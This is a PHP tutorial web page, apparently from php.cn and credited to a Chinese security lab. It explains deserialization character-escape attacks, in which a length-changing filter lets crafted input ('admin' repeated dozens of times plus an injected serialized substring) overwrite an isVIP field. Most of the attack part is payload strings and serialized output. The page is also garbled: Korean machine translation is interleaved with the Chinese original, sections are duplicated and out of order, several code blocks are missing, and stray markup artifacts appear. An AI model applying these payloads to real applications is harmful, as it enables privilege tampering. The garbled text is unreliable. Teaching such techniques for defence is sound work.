> 백엔드 개발 > PHP 튜토리얼 > PHP의 역직렬화 문자 이스케이프 원칙에 대한 심층적인 이해

PHP의 역직렬화 문자 이스케이프 원칙에 대한 심층적인 이해

풀어 주다: 2023-04-10 16:02:02
앞으로
3427명이 탐색했습니다.

PHP의 역직렬화 문자 이스케이프 원칙에 대한 심층적인 이해

PHP 역직렬화 문자 이스케이프의 원리

개발자는 이를 사용할 때 먼저 개체를 직렬화한 다음 개체의 문자를 필터링하고 마지막으로 역직렬화합니다. 현재 PHP 역직렬화 문자 이스케이프에 취약점이 있을 수 있습니다.

PHP 역직렬화 문자 이스케이프에 대한 자세한 설명

PHP 역직렬화 문자 이스케이프의 경우 다음 두 가지 상황에서 논의하겠습니다.

  • 필터링 후 문자가 많아졌습니다

  • 필터링 후 문자가 적어졌습니다

필터링 후 문자가 많아졌습니다

먼저 user 클래스를 정의한다고 가정해 보겠습니다. , 그리고 내부에는 총 3개의 멤버 변수가 있습니다: username, password, isVIP. user类,然后里面一共有3个成员变量:usernamepasswordisVIP

class user{
public $username;
public $password;
public $isVIP;
public function __construct($u,$p){
$this->username = $u;
$this->password = $p;
$this->isVIP = 0;
  }
}
로그인 후 복사

可以看到当这个类被初始化的时候,isVIP变量默认是0,并且不受初始化传入的参数影响。

接下来把完整代码贴出来,便于我们分析。

로그인 후 복사

这一段程序的输出结果如下:

O:4:"user":3:{s:8:"username";s:5:"admin";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}
로그인 후 복사

可以看到,对象序列化之后的isVIP变量是0

这个时候我们增加一个函数,用于对admin字符进行替换,将admin替换为hacker,替换函数如下:

function filter($s){
return str_replace("admin","hacker",$s);
}
로그인 후 복사

因此整段程序如下:

로그인 후 복사

这一段程序的输出为:

O:4:"user":3:{s:8:"username";s:5:"hacker";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}
로그인 후 복사

这个时候我们把这两个程序的输出拿出来对比一下:

O:4:"user":3:{s:8:"username";s:5:"admin";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}  //未过滤
O:4:"user":3:{s:8:"username";s:5:"hacker";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}  //已过滤
로그인 후 복사

可以看到已过滤字符串中的hacker与前面的字符长度不对应了

s:5:"admin";
s:5:"hacker";
로그인 후 복사

在这个时候,对于我们,在新建对象的时候,传入的admin就是我们的可控变量

接下来明确我们的目标:将isVIP变量的值修改为1

首先我们将我们的现有子串目标子串进行对比:

";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}  //现有子串
";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}  //目标子串
로그인 후 복사
로그인 후 복사

也就是说,我们要在admin这个可控变量的位置,注入我们的目标子串

首先计算我们需要注入的目标子串的长度

";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}
//以上字符串的长度为47
로그인 후 복사

因为我们需要逃逸的字符串长度为47,并且admin每次过滤之后都会变成hacker,也就是说每出现一次admin,就会多1个字符。

因此我们在可控变量处,重复47admin,然后加上我们逃逸后的目标子串,可控变量修改如下:

adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}
로그인 후 복사

完整代码如下:

로그인 후 복사

程序输出结果为:

O:4:"user":3:{s:8:"username";s:282:"hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}
로그인 후 복사

我们可以数一下hacker的数量,一共是47hacker,共282个字符,正好与前面282相对应。

后面的注入子串也正好完成了逃逸。

反序列化后,多余的子串会被抛弃

我们接着将这个序列化结果反序列化,然后将其输出,完整代码如下:

로그인 후 복사

程序输出如下:

object(user)#2 (3) {
  ["username"]=>
string(282) "hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker"
  ["password"]=>
string(6) "123456"
  ["isVIP"]=>
int(1)
}
로그인 후 복사

可以看到这个时候,isVIP这个变量就变成了1

로그인 후 복사

이 클래스가 초기화되면 isVIP 변수의 기본값이 0이고 초기화 중에 전달된 매개변수의 영향을 받지 않는 것을 볼 수 있습니다.

분석을 용이하게 하기 위해 전체 코드가 다음에 게시됩니다.

O:4:"user":3:{s:8:"username";s:5:"hack";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}
로그인 후 복사
이 프로그램의 출력 결과는 다음과 같습니다.
";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}  //现有子串
";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}  //目标子串
로그인 후 복사
로그인 후 복사

객체 직렬화 후 isVIP 변수가 0인 것을 확인할 수 있습니다.

이번에는 admin을 hacker로 바꾸는 기능을 추가합니다. 대체 기능은 다음과 같습니다.

";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}  //目标子串
//长度为47
로그인 후 복사

그래서 전체 프로그램은 다음과 같습니다.

";s:8:"password";s:6:"
//长度为22
로그인 후 복사

이 프로그램의 출력은 다음과 같습니다.
로그인 후 복사

이 두 프로그램의 출력을 비교해 보겠습니다.

O:4:"user":3:{s:8:"username";s:105:"hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}
로그인 후 복사
로그인 후 복사

문자열의

filtered

hacker가 이전 문자 길이와 일치하지 않는 것을 볼 수 있습니다

hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:8:"password";s:6:
로그인 후 복사
로그인 후 복사
이번에는 , 새 객체를 생성할 때 들어오는 admin은 제어 가능한 변수입니다 다음으로 목표를 명확히 하겠습니다. isVIP 변수의 값을 로 변경합니다. 1

먼저 기존 하위 문자열대상 하위 문자열을 비교합니다.

";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}  //目标子串
로그인 후 복사
로그인 후 복사
즉, admin을 사용하여 변수의 위치를 ​​제어하고 삽입합니다. target substring.

먼저 주입해야 하는 target 하위 문자열의 길이를 계산합니다:

로그인 후 복사
로그인 후 복사

이스케이프해야 하는 문자열의 길이는 47이고 그 뒤에 admin이 있기 때문입니다. 각 필터는 hacker가 됩니다. 즉, admin이 나타날 때마다 1자가 더 많아지게 됩니다. 그래서 제어 가능한 변수에서

47

admin을 반복한 다음 이스케이프된 대상 하위 문자열을 추가합니다. 제어 가능한 변수는 다음과 같이 수정됩니다.

O:4:"user":3:{s:8:"username";s:105:"hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:8:"password";s:47:"";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}";s:5:"isVIP";i:0;}
로그인 후 복사
로그인 후 복사
전체 코드는 다음과 같습니다.
로그인 후 복사
로그인 후 복사
프로그램 출력 결과 is :

O:4:"user":3:{s:8:"username";s:115:"hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:8:"password";s:47:"";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}";s:5:"isVIP";i:0;}
로그인 후 복사
로그인 후 복사

hacker의 수는 총

47

hacke

r이며 총 282 문자로 이전

282🎜과 정확히 일치합니다. 🎜🎜 끝에 삽입된 하위 문자열도 방금 이스케이프를 완료했습니다. 🎜🎜🎜역직렬화 후 중복된 하위 문자열은 삭제됩니다🎜🎜🎜그런 다음 직렬화 결과를 역직렬화한 후 출력합니다. 🎜
로그인 후 복사
로그인 후 복사
🎜프로그램 출력은 다음과 같습니다. 🎜
object(user)#2 (3) {
  ["username"]=>
string(115) "hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:8:"password";s:47:""
  ["password"]=>
string(6) "123456"
  ["isVIP"]=>
int(1)
}
로그인 후 복사
로그인 후 복사
🎜에서 볼 수 있습니다. 이번에는 isVIP 변수가 1이 되어 문자 이스케이프 역직렬화 목적이 달성됩니다. 🎜🎜🎜🎜필터링 후 문자 수가 적음🎜🎜🎜🎜위에서는 PHP 역직렬화 문자 이스케이프에 문자가 더 많은 상황을 설명합니다. 🎜🎜다음은 역직렬화 문자가 덜 이스케이프되는 상황을 설명합니다. 🎜🎜우선 본문 코드는 여전히 위와 동일하며, 차이점은 필터 기능에서 해커를 해킹으로 변경했다는 것입니다. 🎜🎜전체 코드는 다음과 같습니다. 🎜rrreee🎜결과 가져오기: 🎜rrreee🎜 또한 🎜기존 하위 문자열🎜과 🎜대상 하위 문자열🎜을 비교합니다. 🎜rrreee🎜필터링 중에 🎜5🎜 문자가 🎜4 🎜로 삭제되었습니다. , 따라서 위의 문자 수가 증가하는 상황과 반대로 추가된 🎜admin🎜 수가 증가함에 따라 🎜기존 하위 문자열 🎜이 들여쓰기됩니다. 🎜🎜 🎜target 하위 문자열🎜의 길이를 계산합니다. 🎜rrreee🎜 그런 다음 🎜다음 제어 가능한 변수🎜에 대한 문자열의 길이를 계산합니다. 🎜rrreee🎜필터링할 때마다 🎜1🎜자가 줄어들기 때문에 먼저 🎜admin🎜 문자를 🎜22🎜번 반복하세요(여기서 22번은 더 많은 문자가 포함된 탈출 상황만큼 정확하지 않으며 나중에 조정해야 할 수도 있습니다) 🎜🎜완전한 코드는 다음과 같습니다. (🎜22개가 있습니다.) 🎜)🎜rrreee🎜출력 결과: 🎜🎜🎜참고: 🎜PHP 역직렬화 메커니즘은 예를 들어 10개의 문자가 있다고 지정되었지만 9개만 읽으면 큰따옴표에 도달합니다. 이번에는 PHP에서 따옴표를 10번째 문자로 처리합니다. 즉, 큰따옴표를 사용하여 문자열이 끝났는지 확인하는 것이 아니라 이전에 지정한 숫자에 따라 문자열을 읽습니다. 🎜
O:4:"user":3:{s:8:"username";s:105:"hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}
로그인 후 복사
로그인 후 복사

这里我们需要仔细看一下s后面是105,也就是说我们需要读取到105个字符。从第一个引号开始,105个字符如下:

hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:8:"password";s:6:
로그인 후 복사
로그인 후 복사

PHP의 역직렬화 문자 이스케이프 원칙에 대한 심층적인 이해

也就是说123456这个地方成为了我们的可控变量,在123456可控变量的位置中添加我们的目标子串

";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}  //目标子串
로그인 후 복사
로그인 후 복사

完整代码为:

로그인 후 복사
로그인 후 복사

输出:

O:4:"user":3:{s:8:"username";s:105:"hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:8:"password";s:47:"";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}";s:5:"isVIP";i:0;}
로그인 후 복사
로그인 후 복사

仔细观察这一串字符串可以看到紫色方框内一共107个字符,但是前面只有显示105

PHP의 역직렬화 문자 이스케이프 원칙에 대한 심층적인 이해

造成这种现象的原因是:替换之前我们目标子串的位置是123456,一共6个字符,替换之后我们的目标子串显然超过10个字符,所以会造成计算得到的payload不准确

解决办法是:多添加2admin,这样就可以补上缺少的字符。

修改后代码如下:

로그인 후 복사
로그인 후 복사

输出结果为:

O:4:"user":3:{s:8:"username";s:115:"hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:8:"password";s:47:"";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}";s:5:"isVIP";i:0;}
로그인 후 복사
로그인 후 복사

分析一下输出结果:

PHP의 역직렬화 문자 이스케이프 원칙에 대한 심층적인 이해

可以看到,这一下就对了。

我们将对象反序列化然后输出,代码如下:

로그인 후 복사
로그인 후 복사

得到结果:

object(user)#2 (3) {
  ["username"]=>
string(115) "hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:8:"password";s:47:""
  ["password"]=>
string(6) "123456"
  ["isVIP"]=>
int(1)
}
로그인 후 복사
로그인 후 복사

可以看到,这个时候isVIP的值也为1,也就达到了我们反序列化字符逃逸的目的了

推荐学习:《PHP视频教程

위 내용은 PHP의 역직렬화 문자 이스케이프 원칙에 대한 심층적인 이해의 상세 내용입니다. 자세한 내용은 PHP 중국어 웹사이트의 기타 관련 기사를 참조하세요!

관련 라벨:
php
원천:合天网安实验室
본 웹사이트의 성명
본 글의 내용은 네티즌들의 자발적인 기여로 작성되었으며, 저작권은 원저작자에게 있습니다. 본 사이트는 이에 상응하는 법적 책임을 지지 않습니다. 표절이나 침해가 의심되는 콘텐츠를 발견한 경우 admin@php.cn으로 문의하세요.
인기 튜토리얼
더>
최신 다운로드
더>
웹 효과
웹사이트 소스 코드
웹사이트 자료
프론트엔드 템플릿